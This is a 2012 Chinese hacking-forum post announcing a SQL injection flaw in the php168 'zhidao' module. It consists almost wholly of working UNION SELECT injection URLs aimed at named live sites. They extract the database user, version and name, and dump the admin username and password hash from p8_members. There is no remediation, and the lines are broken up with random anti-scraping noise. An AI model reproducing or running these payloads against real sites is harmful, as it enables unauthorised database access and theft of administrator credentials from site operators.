中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--" S5 M+ T% m8 w1 @- {. X# A/ C& R) F. v

* C. Y. p% S4 o: x' [: n' G, T0 p3 i                                     [attach]94[/attach]& E! B2 W" o7 f) Y
0 f, x+ P% h) S" b: o% z
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--5 @, q; b( a3 }# L; L) T  W2 V9 \

: S* t2 ^! P* L4 y
" i+ U$ `) T! `0 j                                                       [attach]95[/attach]9 X( E6 u# y( V
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
- u+ g5 }( ^( u9 o  w% \
/ H7 r1 i/ A# ?! n; M* L8 I1 g8 Z* j& p

$ c7 @, _8 K' p6 w                                                          [attach]96[/attach]
/ W$ X0 n2 K! Q5 G9 u- e7 [& |
# j: u' C! _9 D9 Nhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--3 @1 H2 S* v7 P& g9 A

4 R8 j. J6 R4 H! A% i7 r
. H' l* ^* u2 ~- A' d5 H4 H( E
7 ]6 i0 G; M/ e! F1 k8 ?                                                                   [attach]97[/attach]
' C4 ?: Q( U+ r1 y

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)